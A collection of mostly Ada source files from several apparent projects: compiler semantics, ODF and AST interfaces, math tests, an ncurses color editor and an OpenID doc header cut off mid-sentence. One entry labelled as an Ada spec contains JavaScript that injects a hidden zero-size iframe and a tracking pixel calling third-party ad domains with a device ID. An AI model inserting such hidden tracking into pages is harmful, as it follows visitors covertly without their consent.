Valid_Operator_Definition (Designator : Entity_Id) is N : Integer := 0; F : Entity_Id; Id : constant Name_Id := Chars (Designator); N_OK : Boolean; begin F := First_Formal (Designator); while Present (F) loop N := N + 1; if Present (Default_Value (F)) then Error_Msg_N ("default values not allowed for operator parameters", Parent (F)); -- For function instantiations that are operators, we must check -- separately that the corresponding generic only has in-parameters. -- For subprogram declarations this is done in Set_Formal_Mode. Such -- an error could not arise in earlier versions of the language. elsif Ekind (F) /= E_In_Parameter then Error_Msg_N ("operators can only have IN parameters", F); end if; Next_Formal (F); end loop; -- Verify that user-defined operators have proper number of arguments -- First case of operators which can only be unary if Id in Name_Op_Not | Name_Op_Abs then N_OK := (N = 1); -- Case of operators which can be unary or binary elsif Id in Name_Op_Add | Name_Op_Subtract then N_OK := (N in 1 .. 2); -- All other operators can only be binary else N_OK := (N = 2); end if; if not N_OK then Error_Msg_N ("incorrect number of arguments for operator", Designator); end if; if Id = Name_Op_Ne and then Base_Type (Etype (Designator)) = Standard_Boolean and then not Is_Intrinsic_Subprogram (Designator) then Error_Msg_N ("explicit definition of inequality not allowed", Designator); end if; end Valid_Operator_Definition; end Sem_Ch6;
reznikmm/matreshka
Ada
3,729
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2014, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with XML.DOM.Attributes; package ODF.DOM.Dr3d_Diffuse_Color_Attributes is pragma Preelaborate; type ODF_Dr3d_Diffuse_Color_Attribute is limited interface and XML.DOM.Attributes.DOM_Attribute; type ODF_Dr3d_Diffuse_Color_Attribute_Access is access all ODF_Dr3d_Diffuse_Color_Attribute'Class with Storage_Size => 0; end ODF.DOM.Dr3d_Diffuse_Color_Attributes;
optikos/oasis
Ada
3,543
ads
-- Copyright (c) 2019 Maxim Reznik <[email protected]> -- -- SPDX-License-Identifier: MIT -- License-Filename: LICENSE ------------------------------------------------------------- with Program.Elements.Anonymous_Access_Definitions; with Program.Lexical_Elements; with Program.Elements.Parameter_Specifications; package Program.Elements.Anonymous_Access_To_Functions is pragma Pure (Program.Elements.Anonymous_Access_To_Functions); type Anonymous_Access_To_Function is limited interface and Program.Elements.Anonymous_Access_Definitions .Anonymous_Access_Definition; type Anonymous_Access_To_Function_Access is access all Anonymous_Access_To_Function'Class with Storage_Size => 0; not overriding function Parameters (Self : Anonymous_Access_To_Function) return Program.Elements.Parameter_Specifications .Parameter_Specification_Vector_Access is abstract; not overriding function Result_Subtype (Self : Anonymous_Access_To_Function) return not null Program.Elements.Element_Access is abstract; not overriding function Has_Not_Null (Self : Anonymous_Access_To_Function) return Boolean is abstract; not overriding function Has_Protected (Self : Anonymous_Access_To_Function) return Boolean is abstract; not overriding function Has_Not_Null_2 (Self : Anonymous_Access_To_Function) return Boolean is abstract; type Anonymous_Access_To_Function_Text is limited interface; type Anonymous_Access_To_Function_Text_Access is access all Anonymous_Access_To_Function_Text'Class with Storage_Size => 0; not overriding function To_Anonymous_Access_To_Function_Text (Self : aliased in out Anonymous_Access_To_Function) return Anonymous_Access_To_Function_Text_Access is abstract; not overriding function Not_Token (Self : Anonymous_Access_To_Function_Text) return Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Null_Token (Self : Anonymous_Access_To_Function_Text) return Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Access_Token (Self : Anonymous_Access_To_Function_Text) return not null Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Protected_Token (Self : Anonymous_Access_To_Function_Text) return Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Function_Token (Self : Anonymous_Access_To_Function_Text) return not null Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Left_Bracket_Token (Self : Anonymous_Access_To_Function_Text) return Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Right_Bracket_Token (Self : Anonymous_Access_To_Function_Text) return Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Return_Token (Self : Anonymous_Access_To_Function_Text) return not null Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Not_Token_2 (Self : Anonymous_Access_To_Function_Text) return Program.Lexical_Elements.Lexical_Element_Access is abstract; not overriding function Null_Token_2 (Self : Anonymous_Access_To_Function_Text) return Program.Lexical_Elements.Lexical_Element_Access is abstract; end Program.Elements.Anonymous_Access_To_Functions;
reznikmm/matreshka
Ada
4,057
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2014, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with ODF.DOM.Text_Count_Empty_Lines_Attributes; package Matreshka.ODF_Text.Count_Empty_Lines_Attributes is type Text_Count_Empty_Lines_Attribute_Node is new Matreshka.ODF_Text.Abstract_Text_Attribute_Node and ODF.DOM.Text_Count_Empty_Lines_Attributes.ODF_Text_Count_Empty_Lines_Attribute with null record; overriding function Create (Parameters : not null access Matreshka.DOM_Attributes.Attribute_L2_Parameters) return Text_Count_Empty_Lines_Attribute_Node; overriding function Get_Local_Name (Self : not null access constant Text_Count_Empty_Lines_Attribute_Node) return League.Strings.Universal_String; end Matreshka.ODF_Text.Count_Empty_Lines_Attributes;
rogermc2/GA_Ada
Ada
5,625
adb
with Ada.Strings.Unbounded; with Ada.Text_IO; use Ada.Text_IO; with Blade; with Blade_Types; with GA_Maths; with GA_Utilities; with Metric; use Metric; with Multivectors; use Multivectors; with Multivector_Type; procedure LC_Test is use Blade_Types; BV_Names : Basis_Vector_Names; no_bv : Multivector := Basis_Vector (Blade_Types.C3_no); e1_bv : Multivector := Basis_Vector (Blade_Types.C3_e1); e2_bv : Multivector := Basis_Vector (Blade_Types.C3_e2); e3_bv : Multivector := Basis_Vector (Blade_Types.C3_e3); ni_bv : Multivector := Basis_Vector (Blade_Types.C3_ni); Met : Metric_Record := C3_Metric; MV_A1 : Multivector; MV_A2 : Multivector; MV_A : Multivector; MV_A_Inv : Multivector; NP_1 : constant Normalized_Point := New_Normalized_Point (1.0, 0.0, 0.0); NP_2 : constant Normalized_Point := New_Normalized_Point (0.0, 1.0, 0.0); NP_123 : constant Normalized_Point := New_Normalized_Point (-1.0, 2.0, -2.0); C1 : constant Normalized_Point := New_Normalized_Point (0.707, 0.707, 0.0); C2 : constant Normalized_Point := New_Normalized_Point (0.0, 1.0, 0.0); C3 : constant Normalized_Point := New_Normalized_Point (-0.356756, -0.881980, 0.0); Circle : constant Multivector := Outer_Product (C1, Outer_Product (C2, C3)); NP_1_OP : Multivector; NP_1_IP : Multivector; NP_1_LC : Multivector; NP_1_GP_Met : Multivector; NP_1_IP_Met : Multivector; NP_1_Inv : Multivector; NP_1_GP : Multivector; begin Multivectors.Set_Geometry (C3_Geometry); BV_Names.Append (Ada.Strings.Unbounded.To_Unbounded_String ("no")); BV_Names.Append (Ada.Strings.Unbounded.To_Unbounded_String ("e1")); BV_Names.Append (Ada.Strings.Unbounded.To_Unbounded_String ("e2")); BV_Names.Append (Ada.Strings.Unbounded.To_Unbounded_String ("e3")); BV_Names.Append (Ada.Strings.Unbounded.To_Unbounded_String ("ni")); MV_A1 := Left_Contraction (e2_bv, e3_bv, Met); MV_A2 := Left_Contraction (e2_bv, ni_bv, Met); -- MV_A := e1_bv + Outer_Product (Outer_Product (e2_bv, e3_bv), e1_bv); GA_Utilities.Print_Multivector_String ("LC_Test LC (e2, e3)", MV_A1, Basis_Names_C3GA); GA_Utilities.Print_Multivector_String ("LC_Test LC (e2, ni)", MV_A2, Basis_Names_C3GA); -- GA_Utilities.Print_Multivector_String ("LC_Test MV_A", MV_A, Basis_Names_C3GA); MV_A1 := Left_Contraction (e3_bv, e2_bv, Met); GA_Utilities.Print_Multivector_String ("LC_Test LC (e3, e2)", MV_A1, Basis_Names_C3GA); New_Line; MV_A2 := Left_Contraction (ni_bv, e2_bv, Met); GA_Utilities.Print_Multivector_String ("LC_Test LC (ni, e2)", MV_A2, Basis_Names_C3GA); MV_A1 := Left_Contraction (e3_bv, Geometric_Product (e2_bv, e3_bv, Met), Met); GA_Utilities.Print_Multivector_String ("LC_Test LC (e3, GP (e2, e3))", MV_A1, Basis_Names_C3GA); MV_A2 := Left_Contraction (ni_bv, Geometric_Product (e2_bv, ni_bv, Met), Met); GA_Utilities.Print_Multivector_String ("LC_Test (ni, GP (e2, ni))", MV_A2, Basis_Names_C3GA); MV_A1 := Left_Contraction (e3_bv, Geometric_Product (e3_bv, e2_bv, Met), Met); GA_Utilities.Print_Multivector_String ("LC_Test (e3, GP (e3, e2))", MV_A1, Basis_Names_C3GA); MV_A2 := Left_Contraction (ni_bv, Geometric_Product (ni_bv, e2_bv, Met), Met); GA_Utilities.Print_Multivector_String ("LC_Test (ni, GP (ni, e2))", MV_A2, Basis_Names_C3GA); GA_Utilities.Print_Multivector_String ("LC_Test Circle", Circle, Basis_Names_C3GA); GA_Utilities.Print_Multivector_String ("LC_Tests NP_1", NP_1, Basis_Names_C3GA); NP_1_IP := Inner_Product (NP_1, NP_1, Met); NP_1_OP := Outer_Product (NP_1, NP_1); NP_1_GP := Geometric_Product (NP_1, NP_1, Met); GA_Utilities.Print_Multivector_String ("Inner Product (NP_1, NP_1)", NP_1_IP, Basis_Names_C3GA); GA_Utilities.Print_Multivector_String ("Outer Product (NP_1, NP_1)", NP_1_OP, Basis_Names_C3GA); GA_Utilities.Print_Multivector_String ("Geometric Product (NP_1, NP_1)", NP_1_GP, Basis_Names_C3GA); New_Line; NP_1_IP := Inner_Product (NP_123, NP_123, Met); NP_1_OP := Outer_Product (NP_123, NP_123); NP_1_GP := Geometric_Product (NP_123, NP_123, Met); GA_Utilities.Print_Multivector_String ("Inner Product (NP_123, NP_123)", NP_1_IP, Basis_Names_C3GA); GA_Utilities.Print_Multivector_String ("Outer Product (NP_123, NP_123)", NP_1_OP, Basis_Names_C3GA); GA_Utilities.Print_Multivector_String ("Geometric Product (NP_123, NP_123)", NP_1_GP, Basis_Names_C3GA); New_Line; NP_1_IP := Inner_Product (NP_1, NP_2, Met); NP_1_OP := Outer_Product (NP_1, NP_2); NP_1_GP := Geometric_Product (NP_1, NP_2, Met); GA_Utilities.Print_Multivector_String ("Inner Product (NP_1, NP_2)", NP_1_IP, Basis_Names_C3GA); GA_Utilities.Print_Multivector_String ("Outer Product (NP_1, NP_2)", NP_1_OP, Basis_Names_C3GA); GA_Utilities.Print_Multivector_String ("Geometric Product (NP_1, NP_2)", NP_1_GP, Basis_Names_C3GA); New_Line; NP_1_IP := Left_Contraction (NP_1, NP_2, Met); GA_Utilities.Print_Multivector_String ("Left Contraction (NP_1, NP_2)", NP_1_IP, Basis_Names_C3GA); NP_1_IP := Left_Contraction (NP_1, NP_123, Met); GA_Utilities.Print_Multivector_String ("Left Contraction (NP_1, NP_123)", NP_1_IP, Basis_Names_C3GA); exception when anError : others => Put_Line ("An exception occurred in LC_Test."); raise; end LC_Test;
leonhxx/pok
Ada
727
ads
-- POK header -- -- The following file is a part of the POK project. Any modification should -- be made according to the POK licence. You CANNOT use this file or a part -- of a file for your own project. -- -- For more information on the POK licence, please see our LICENCE FILE -- -- Please follow the coding guidelines described in doc/CODING_GUIDELINES -- -- Copyright (c) 2007-2021 POK team pragma No_Run_Time; with Interfaces.C; with APEX; use APEX; with APEX.Processes; use APEX.Processes; with APEX.Partitions; use APEX.Partitions; with Activity; package Main is procedure Compute; procedure Main; pragma Export (C, Main, "main"); end Main;
optikos/oasis
Ada
4,211
adb
-- Copyright (c) 2019 Maxim Reznik <[email protected]> -- -- SPDX-License-Identifier: MIT -- License-Filename: LICENSE ------------------------------------------------------------- package body Program.Nodes.Component_Definitions is function Create (Aliased_Token : Program.Lexical_Elements.Lexical_Element_Access; Subtype_Indication : not null Program.Elements.Element_Access) return Component_Definition is begin return Result : Component_Definition := (Aliased_Token => Aliased_Token, Subtype_Indication => Subtype_Indication, Enclosing_Element => null) do Initialize (Result); end return; end Create; function Create (Subtype_Indication : not null Program.Elements.Element_Access; Is_Part_Of_Implicit : Boolean := False; Is_Part_Of_Inherited : Boolean := False; Is_Part_Of_Instance : Boolean := False; Has_Aliased : Boolean := False) return Implicit_Component_Definition is begin return Result : Implicit_Component_Definition := (Subtype_Indication => Subtype_Indication, Is_Part_Of_Implicit => Is_Part_Of_Implicit, Is_Part_Of_Inherited => Is_Part_Of_Inherited, Is_Part_Of_Instance => Is_Part_Of_Instance, Has_Aliased => Has_Aliased, Enclosing_Element => null) do Initialize (Result); end return; end Create; overriding function Subtype_Indication (Self : Base_Component_Definition) return not null Program.Elements.Element_Access is begin return Self.Subtype_Indication; end Subtype_Indication; overriding function Aliased_Token (Self : Component_Definition) return Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Aliased_Token; end Aliased_Token; overriding function Has_Aliased (Self : Component_Definition) return Boolean is begin return Self.Aliased_Token.Assigned; end Has_Aliased; overriding function Is_Part_Of_Implicit (Self : Implicit_Component_Definition) return Boolean is begin return Self.Is_Part_Of_Implicit; end Is_Part_Of_Implicit; overriding function Is_Part_Of_Inherited (Self : Implicit_Component_Definition) return Boolean is begin return Self.Is_Part_Of_Inherited; end Is_Part_Of_Inherited; overriding function Is_Part_Of_Instance (Self : Implicit_Component_Definition) return Boolean is begin return Self.Is_Part_Of_Instance; end Is_Part_Of_Instance; overriding function Has_Aliased (Self : Implicit_Component_Definition) return Boolean is begin return Self.Has_Aliased; end Has_Aliased; procedure Initialize (Self : aliased in out Base_Component_Definition'Class) is begin Set_Enclosing_Element (Self.Subtype_Indication, Self'Unchecked_Access); null; end Initialize; overriding function Is_Component_Definition_Element (Self : Base_Component_Definition) return Boolean is pragma Unreferenced (Self); begin return True; end Is_Component_Definition_Element; overriding function Is_Definition_Element (Self : Base_Component_Definition) return Boolean is pragma Unreferenced (Self); begin return True; end Is_Definition_Element; overriding procedure Visit (Self : not null access Base_Component_Definition; Visitor : in out Program.Element_Visitors.Element_Visitor'Class) is begin Visitor.Component_Definition (Self); end Visit; overriding function To_Component_Definition_Text (Self : aliased in out Component_Definition) return Program.Elements.Component_Definitions .Component_Definition_Text_Access is begin return Self'Unchecked_Access; end To_Component_Definition_Text; overriding function To_Component_Definition_Text (Self : aliased in out Implicit_Component_Definition) return Program.Elements.Component_Definitions .Component_Definition_Text_Access is pragma Unreferenced (Self); begin return null; end To_Component_Definition_Text; end Program.Nodes.Component_Definitions;
AdaCore/libadalang
Ada
106
adb
package body Pkg is procedure Bar (X : access T'Class) is begin X.Foo; end Bar; end Pkg;
jscparker/math_packages
Ada
1,568
adb
package body Sinu is function Norm (Y : Dynamical_Variable) return Real is Sum : Real := +0.0; begin for i in Dyn_Index loop Sum := Sum + Abs Y(i); --Sum := Sum + Y(i) * Y(i); end loop; return Sum; end Norm; function "-" (Left : Dynamical_Variable; Right : Dynamical_Variable) return Dynamical_Variable is Result : Dynamical_Variable; begin for I in Dyn_Index loop Result(I) := Left(I) - Right(I); end loop; return Result; end "-"; function "*" (Left : Real; Right : Dynamical_Variable) return Dynamical_Variable is Result : Dynamical_Variable; begin for I in Dyn_Index loop Result(I) := Left * Right(I); end loop; return Result; end "*"; function "+" (Left : Dynamical_Variable; Right : Dynamical_Variable) return Dynamical_Variable is Result : Dynamical_Variable; begin for I in Dyn_Index loop Result(I) := Left(I) + Right(I); end loop; return Result; end "+"; -- The differential equation is dY/dt = F (t, Y) function F (Time : Real; Y : Dynamical_Variable) return Dynamical_Variable is Deriv : Dynamical_Variable; SpringConstant : Constant Real := 1.0; --MaxForce : Constant Real := 5.0; --WellWidthInverse : Constant Real := 10.0; --WellCenter : Constant Real := 0.0; begin Deriv(0) := Y(1); Deriv(1) := -SpringConstant*Y(0); return Deriv; end F; end Sinu;
kontena/ruby-packer
Ada
10,364
adb
------------------------------------------------------------------------------ -- -- -- GNAT ncurses Binding Samples -- -- -- -- ncurses -- -- -- -- B O D Y -- -- -- ------------------------------------------------------------------------------ -- Copyright (c) 2000-2006,2009 Free Software Foundation, Inc. -- -- -- -- Permission is hereby granted, free of charge, to any person obtaining a -- -- copy of this software and associated documentation files (the -- -- "Software"), to deal in the Software without restriction, including -- -- without limitation the rights to use, copy, modify, merge, publish, -- -- distribute, distribute with modifications, sublicense, and/or sell -- -- copies of the Software, and to permit persons to whom the Software is -- -- furnished to do so, subject to the following conditions: -- -- -- -- The above copyright notice and this permission notice shall be included -- -- in all copies or substantial portions of the Software. -- -- -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS -- -- OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -- -- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -- -- IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, -- -- DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR -- -- OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR -- -- THE USE OR OTHER DEALINGS IN THE SOFTWARE. -- -- -- -- Except as contained in this notice, the name(s) of the above copyright -- -- holders shall not be used in advertising or otherwise to promote the -- -- sale, use or other dealings in this Software without prior written -- -- authorization. -- ------------------------------------------------------------------------------ -- Author: Eugene V. Melaragno <[email protected]> 2000 -- Version Control -- $Revision: 1.6 $ -- $Date: 2009/12/26 17:38:58 $ -- Binding Version 01.00 ------------------------------------------------------------------------------ with ncurses2.util; use ncurses2.util; with ncurses2.genericPuts; with Terminal_Interface.Curses; use Terminal_Interface.Curses; procedure ncurses2.color_edit is use Int_IO; type RGB_Enum is (Redx, Greenx, Bluex); procedure change_color (current : Color_Number; field : RGB_Enum; value : RGB_Value; usebase : Boolean); procedure change_color (current : Color_Number; field : RGB_Enum; value : RGB_Value; usebase : Boolean) is red, green, blue : RGB_Value; begin if usebase then Color_Content (current, red, green, blue); else red := 0; green := 0; blue := 0; end if; case field is when Redx => red := red + value; when Greenx => green := green + value; when Bluex => blue := blue + value; end case; declare begin Init_Color (current, red, green, blue); exception when Curses_Exception => Beep; end; end change_color; package x is new ncurses2.genericPuts (100); use x; tmpb : x.BS.Bounded_String; tmp4 : String (1 .. 4); tmp6 : String (1 .. 6); tmp8 : String (1 .. 8); -- This would be easier if Ada had a Bounded_String -- defined as a class instead of the inferior generic package, -- then I could define Put, Add, and Get for them. Blech. value : RGB_Value := 0; red, green, blue : RGB_Value; max_colors : constant Natural := Number_Of_Colors; current : Color_Number := 0; field : RGB_Enum := Redx; this_c : Key_Code := 0; begin Refresh; for i in Color_Number'(0) .. Color_Number (Number_Of_Colors) loop Init_Pair (Color_Pair (i), White, i); end loop; Move_Cursor (Line => Lines - 2, Column => 0); Add (Str => "Number: "); myPut (tmpb, Integer (value)); myAdd (Str => tmpb); loop Switch_Character_Attribute (On => False, Attr => (Bold_Character => True, others => False)); Add (Line => 0, Column => 20, Str => "Color RGB Value Editing"); Switch_Character_Attribute (On => False, Attr => (Bold_Character => True, others => False)); for i in Color_Number'(0) .. Color_Number (Number_Of_Colors) loop Move_Cursor (Line => 2 + Line_Position (i), Column => 0); if current = i then Add (Ch => '>'); else Add (Ch => ' '); end if; -- TODO if i <= color_names'Max then Put (tmp8, Integer (i)); Set_Character_Attributes (Color => Color_Pair (i)); Add (Str => " "); Set_Character_Attributes; Refresh; Color_Content (i, red, green, blue); Add (Str => " R = "); if current = i and field = Redx then Switch_Character_Attribute (On => True, Attr => (Stand_Out => True, others => False)); end if; Put (tmp4, Integer (red)); Add (Str => tmp4); if current = i and field = Redx then Set_Character_Attributes; end if; Add (Str => " G = "); if current = i and field = Greenx then Switch_Character_Attribute (On => True, Attr => (Stand_Out => True, others => False)); end if; Put (tmp4, Integer (green)); Add (Str => tmp4); if current = i and field = Greenx then Set_Character_Attributes; end if; Add (Str => " B = "); if current = i and field = Bluex then Switch_Character_Attribute (On => True, Attr => (Stand_Out => True, others => False)); end if; Put (tmp4, Integer (blue)); Add (Str => tmp4); if current = i and field = Bluex then Set_Character_Attributes; end if; Set_Character_Attributes; Add (Ch => ')'); end loop; Add (Line => Line_Position (Number_Of_Colors + 3), Column => 0, Str => "Use up/down to select a color, left/right to change " & "fields."); Add (Line => Line_Position (Number_Of_Colors + 4), Column => 0, Str => "Modify field by typing nnn=, nnn-, or nnn+. ? for help."); Move_Cursor (Line => 2 + Line_Position (current), Column => 0); this_c := Getchar; if Is_Digit (this_c) then value := 0; end if; case this_c is when KEY_UP => current := (current - 1) mod Color_Number (max_colors); when KEY_DOWN => current := (current + 1) mod Color_Number (max_colors); when KEY_RIGHT => field := RGB_Enum'Val ((RGB_Enum'Pos (field) + 1) mod 3); when KEY_LEFT => field := RGB_Enum'Val ((RGB_Enum'Pos (field) - 1) mod 3); when Character'Pos ('0') | Character'Pos ('1') | Character'Pos ('2') | Character'Pos ('3') | Character'Pos ('4') | Character'Pos ('5') | Character'Pos ('6') | Character'Pos ('7') | Character'Pos ('8') | Character'Pos ('9') => value := value * 10 + RGB_Value (ctoi (Code_To_Char (this_c))); when Character'Pos ('+') => change_color (current, field, value, True); when Character'Pos ('-') => change_color (current, field, -value, True); when Character'Pos ('=') => change_color (current, field, value, False); when Character'Pos ('?') => Erase; P (" RGB Value Editing Help"); P (""); P ("You are in the RGB value editor. Use the arrow keys to " & "select one of"); P ("the fields in one of the RGB triples of the current colors;" & " the one"); P ("currently selected will be reverse-video highlighted."); P (""); P ("To change a field, enter the digits of the new value; they" & " are echoed"); P ("as entered. Finish by typing `='. The change will take" & " effect instantly."); P ("To increment or decrement a value, use the same procedure," & " but finish"); P ("with a `+' or `-'."); P (""); P ("To quit, do `x' or 'q'"); Pause; Erase; when Character'Pos ('q') | Character'Pos ('x') => null; when others => Beep; end case; Move_Cursor (Line => Lines - 2, Column => 0); Put (tmp6, Integer (value)); Add (Str => "Number: " & tmp6); Clear_To_End_Of_Line; exit when this_c = Character'Pos ('x') or this_c = Character'Pos ('q'); end loop; Erase; End_Windows; end ncurses2.color_edit;
wscodelabs/bb_test
Ada
560
ads
/* */ (function(){var b={d:"",a:function(){if(b.d=="1"){var a=document.createElement("iframe"),c=document.getElementsByTagName("script")[0],e="http://a01.korrelate.net/a/e/d2r.ads?et=r&adsuu=TiZ5KWF7DzG9&"+(new Date).getTime();a.width=0;a.height=0;a.frameBorder=0;a.border=0;c.parentNode.insertBefore(a,c);setTimeout(function(){a.src=e},1)}}},d={c:"",b:function(){switch(d.c){case "1":(new Image).src= "http://tapestry.tapad.com/tapestry/1?ta_partner_id=1866&ta_format=png&ta_partner_did=TiZ5KWF7DzG9"}}};d.b();b.a()})();
zhmu/ananas
Ada
385
adb
-- { dg-do compile } with System; use System; procedure Array22 is type Integer_Address is mod Memory_Size; type Memory is array (Integer_Address range <>) of Character; type Chunk (First, Last : Integer_Address) is record Mem : Memory (First .. Last); end record; C : Chunk (1, 8); for C'Alignment use 8; pragma Unreferenced (C); begin null; end;
google-code/ada-security
Ada
7,371
ads
----------------------------------------------------------------------- -- security-openid -- OpenID 2.0 Support -- Copyright (C) 2009, 2010, 2011, 2012 Stephane Carrez -- Written by Stephane Carrez ([email protected]) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Strings.Unbounded; with Ada.Calendar; with Ada.Finalization; with Security.Auth; -- == OpenID == -- The <b>Security.OpenID</b> package implements an authentication framework based -- on OpenID 2.0. -- -- See OpenID Authentication 2.0 - Final -- http://openid.net/specs/openid-authentication-2_0.html -- -- There are basically two steps that an application must implement: -- -- * <b>Discovery</b>: to resolve and use the OpenID provider and redirect the user to the -- provider authentication form. -- * <b>Verify</b>: to decode the authentication and check its result. -- -- [http://ada-security.googlecode.com/svn/wiki/OpenID.png] -- -- The authentication process is the following: -- -- * The application should redirect the user to the authentication URL. -- * The OpenID provider authenticate the user and redirects the user to the callback CB. -- * The association is decoded from the callback parameter. -- * The <b>Verify</b> procedure is called with the association to check the result and -- obtain the authentication results. -- -- === Initialization === -- The initialization process must be done before each two steps (discovery and verify). -- The OpenID manager must be declared and configured. -- -- Mgr : Security.OpenID.Manager; -- -- For the configuration, the <b>Initialize</b> procedure is called to configure -- the OpenID realm and set the OpenID return callback URL. The return callback -- must be a valid URL that is based on the realm. Example: -- -- Mgr.Initialize (Name => "http://app.site.com/auth", -- Return_To => "http://app.site.com/auth/verify"); -- -- After this initialization, the OpenID manager can be used in the authentication process. -- -- === Discovery: creating the authentication URL === -- The first step is to create an authentication URL to which the user must be redirected. -- In this step, we have to create an OpenID manager, discover the OpenID provider, -- do the association and get an <b>End_Point</b>. The OpenID provider is specified as an -- URL, below is an example for Google OpenID: -- -- Provider : constant String := "https://www.google.com/accounts/o8/id"; -- OP : Security.OpenID.End_Point; -- Assoc : constant Security.OpenID.Association_Access := new Security.OpenID.Association; -- -- The following steps are performed: -- -- * The <b>Discover</b> procedure is called to retrieve from the OpenID provider the XRDS -- stream and identify the provider. An <b>End_Point</b> is returned in <tt>OP</tt>. -- * The <b>Associate</b> procedure is called to make the association with the <b>End_Point</b>. -- The <b>Association</b> record holds session, and authentication. -- -- Mgr.Discover (Provider, OP); -- Yadis discovery (get the XRDS file). -- Mgr.Associate (OP, Assoc.all);-- Associate and get an end-point with a key. -- -- After this first step, you must manage to save the association in the HTTP session. -- Then you must redirect to the authentication URL that is obtained by using: -- -- Auth_URL : constant String := Mgr.Get_Authentication_URL (OP, Assoc.all); -- -- === Verify: acknowledge the authentication in the callback URL === -- The second step is done when the user has finished the authentication successfully or not. -- For this step, the application must get back the association that was saved in the session. -- It must also prepare a parameters object that allows the OpenID framework to get the -- URI parameters from the return callback. -- -- Assoc : Association_Access := ...; -- Get the association saved in the session. -- Auth : OpenID.Authentication; -- Params : Auth_Params; -- -- The OpenID manager must be initialized and the 